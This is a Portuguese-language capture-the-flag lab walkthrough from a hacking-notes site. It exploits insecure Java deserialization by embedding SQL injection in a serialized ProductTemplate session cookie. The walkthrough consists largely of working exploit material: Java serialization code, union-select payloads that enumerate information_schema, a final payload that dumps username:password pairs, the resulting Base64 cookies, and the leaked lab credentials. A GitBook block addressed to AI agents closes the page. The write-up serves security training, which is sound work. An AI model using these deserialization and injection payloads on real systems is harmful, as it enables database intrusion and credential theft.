> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/deserialization/developing-custom-gadget-chain-for-java-deserialization.md). # Desenvolvendo uma Cadeia de Gadgets Personalizada para Desserialização em Java ### Desenvolvendo uma cadeia de gadgets personalizada para desserialização em Java **Objetivo do laboratório** Este laboratório é baseado em um mecanismo de sessão que usa serialização Java. Ao construir uma \*\*string de gadgets personalizada\*\*, é possível explorar a desserialização insegura a fim de **recuperar a senha do administrador**, então conectar-se com essa conta e excluir usuário **carlos**. Identificador fornecido: * Usuário: `wiener` * Senha: `peter` \*\* Análise inicial da sessão\*\* O cookie de sessão observado está codificado em Base64: {% code overflow="wrap" %} ```bash rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBnNnBnbmYxMWtubDlqMjl6YjZlb2piY2h1dG9yZjc0ZXQABndpZW5lcg%3d%3d ``` {% endcode %} Após a decodificação, uma \*\*serialização Java\*\* é claramente identificada, o que confirma o uso de `ObjectInputStream` no lado do servidor. {% code overflow="wrap" %} ```bash echo 'rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACBnNnBnbmYxMWtubDlqMjl6YjZlb2piY2h1dG9yZjc0ZXQABndpZW5lcg==' | base64 -d ; echo ``` {% endcode %}
**Acesso ao código-fonte** Um comentário HTML fornece um link para uma cópia de backup do código-fonte Java: ```html ```
Conteúdo do `AccessTokenUser.java` arquivo: * Classe serializável * Dois atributos: `nome de usuário` e `accessToken` * Nenhum comportamento perigoso explorável diretamente ```java package data.session.token; import java.io.Serializable; public class AccessTokenUser implements Serializable { private final String username; private final String accessToken; public AccessTokenUser(String username, String accessToken) { this.username = username; this.accessToken = accessToken; } public String getUsername() { return username; } public String getAccessToken() { return accessToken; } } ``` No `/backup` pasta, outro arquivo chama a atenção: **`ProductTemplate.java`**.
**Classe vulnerável: ProductTemplate** O `ProductTemplate` a classe implementa `Serializable` e redefine o `readObject()` método. Pontos críticos : * O `readObject()` o método é executado automaticamente ao desserializar * Uma consulta SQL é construída dinamicamente com `String.format` * O `id` o parâmetro é injetado diretamente na consulta sem validação ```java String sql = String.format( "SELECT * FROM products WHERE id = '%s' LIMIT 1", id ); ``` ```java package data.productcatalog; import common.db.JdbcConnectionBuilder; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; import java.sql.Connection; import java.sql.ResultSet; import java.sql.SQLException; import java.sql.Statement; public class ProductTemplate implements Serializable { static final long serialVersionUID = 1L; private final String id; private transient Product product; public ProductTemplate(String id) { this.id = id; } private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException { inputStream.defaultReadObject(); JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from( "org.postgresql.Driver", "postgresql", "localhost", 5432, "postgres", "postgres", "password" ).withAutoCommit(); try { Connection connect = connectionBuilder.connect(30); String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id); Statement statement = connect.createStatement(); ResultSet resultSet = statement.executeQuery(sql); if (!resultSet.next()) { return; } product = Product.from(resultSet); } catch (SQLException e) { throw new IOException(e); } } public String getId() { return id; } public Product getProduct() { return product; } } ``` **Construção do payload em Java** Para gerar um objeto serializado válido, é criado um projeto Java local: Estrutura mínima: ```bash data/ └── productcatalog/ ├── ProductTemplate.java └── Product.java Main.java ``` As classes são simplificadas de propósito para permitir apenas **serialização**, sem lógica interna. ```java import data.productcatalog.ProductTemplate; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.Base64; class Main { public static void main(String[] args) throws Exception { ProductTemplate originalObject = new ProductTemplate("your-payload-here"); String serializedObject = serialize(originalObject); System.out.println("Objeto serializado: " + serializedObject); ProductTemplate deserializedObject = deserialize(serializedObject); System.out.println("ID do objeto desserializado: " + deserializedObject.getId()); } private static String serialize(Serializable obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(512); try (ObjectOutputStream out = new ObjectOutputStream(baos)) { out.writeObject(obj); } return Base64.getEncoder().encodeToString(baos.toByteArray()); } private static T deserialize(String base64SerializedObj) throws Exception { try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) { @SuppressWarnings("unchecked") T obj = (T) in.readObject(); return obj; } } } ``` **Geração do cookie malicioso** Em `Main.java`, um `ProductTemplate` objeto é caracterizado com um valor controlado para `id`, então serializado e codificado em Base64. ```java // Toda a lógica foi removida de ProductTemplate, pois não é necessária para serialização package data.productcatalog; import java.io.Serializable; public class ProductTemplate implements Serializable { static final long serialVersionUID = 1L; private final String id; private transient Product product; public ProductTemplate(String id) { this.id = id; } public String getId() { return id; } } ``` ```bash nvim data/productcatalog/Product.java ``` ```java // Esta classe foi adicionada apenas para que ProductTemplate possa compilar corretamente package data.productcatalog; class Product {} ``` Primeiro teste com uma aspa simples: ```java ProductTemplate originalObject = new ProductTemplate("'"); ``` ```java import data.productcatalog.ProductTemplate; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.Base64; class Main { public static void main(String[] args) throws Exception { ProductTemplate originalObject = new ProductTemplate("'"); String serializedObject = serialize(originalObject); System.out.println("Objeto serializado: " + serializedObject); ProductTemplate deserializedObject = deserialize(serializedObject); System.out.println("ID do objeto desserializado: " + deserializedObject.getId()); } private static String serialize(Serializable obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(512); try (ObjectOutputStream out = new ObjectOutputStream(baos)) { out.writeObject(obj); } return Base64.getEncoder().encodeToString(baos.toByteArray()); } private static T deserialize(String base64SerializedObj) throws Exception { try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) { @SuppressWarnings("unchecked") T obj = (T) in.readObject(); return obj; } } } ``` O servidor retorna um erro de SQL, confirmando a injeção. ```bash javac Main.java java Main ```
```http rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAASc= ```
**Exploração de injeção SQL** 1. **Determinação do número de colunas**/ → 8 colunas identificadas ```java ProductTemplate originalObject = new ProductTemplate("' order by 8-- -"); ``` ``` rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAECcgb3JkZXIgYnkgOC0tIC0= ```
**TESTE DE UNION SELECT**/ → A quarta coluna é utilizável {% code overflow="wrap" %} ```bash ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- - "; ``` {% endcode %} ``` rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAOicgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTCxOVUxMLE5VTEwsTlVMTC0tIC0 ``` * **Resumo das tabelas** * Tabela identificada: `users` {% code overflow="wrap" %} ```java ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(table_name as numeric),NULL,NULL,NULL,NULL from information_schema.tables-- -"); ``` {% endcode %} ``` rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAcCcgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLGNhc3QodGFibGVfbmFtZSBhcyBudW1lcmljKSxOVUxMLE5VTEwsTlVMTCxOVUxMIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcy0tIC0= ```
{% code overflow="wrap" %} ```java ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(table_name, ',') as numeric),NULL,NULL,NULL,NULL FROM information_schema.tables-- -"); ``` {% endcode %} ``` rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAfScgdW5pb24gc2VsZWN0IE5VTEwsTlVMTCxOVUxMLChzdHJpbmdfYWdnKHRhYmxlX25hbWUsICcsJykgYXMgbnVtZXJpYyksTlVMTCxOVUxMLE5VTEwsTlVMTCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMtLSAt ```
**Enumeração das colunas** * `nome de usuário` * `senha` * `email` {% code overflow="wrap" %} ```java ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(column_name, ',') as numeric),NULL,NULL,NULL,NULL FROM information_schema.columns where table_name='users'-- -"); ``` {% endcode %}
1. **Extração de credenciais** {% code overflow="wrap" %} ```java ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username||':'||password, ',') as numeric),NULL,NULL,NULL,NULL FROM users-- -"); ``` {% endcode %}
Payload final injetada no objeto serializado: ```java import data.productcatalog.ProductTemplate; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.io.Serializable; import java.util.Base64; class Main { public static void main(String[] args) throws Exception { ProductTemplate originalObject = new ProductTemplate("' union select NULL,NULL,NULL,cast(string_agg(username||':'||password, ',') as numeric),NULL,NULL,NULL,NULL FROM users-- -"); String serializedObject = serialize(originalObject); System.out.println("Objeto serializado: " + serializedObject); ProductTemplate deserializedObject = deserialize(serializedObject); System.out.println("ID do objeto desserializado: " + deserializedObject.getId()); } private static String serialize(Serializable obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(512); try (ObjectOutputStream out = new ObjectOutputStream(baos)) { out.writeObject(obj); } return Base64.getEncoder().encodeToString(baos.toByteArray()); } private static T deserialize(String base64SerializedObj) throws Exception { try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(base64SerializedObj)))) { @SuppressWarnings("unchecked") T obj = (T) in.readObject(); return obj; } } } ``` **Resultado obtido** Após enviar o cookie serializado, a resposta do servidor revela as credenciais: ```wit administrator:sa47nyh8ebw4q0h7dvhn wiener:peter carlos:ig1e9avhmums5iac8rwa ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/web/deserialization/developing-custom-gadget-chain-for-java-deserialization.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.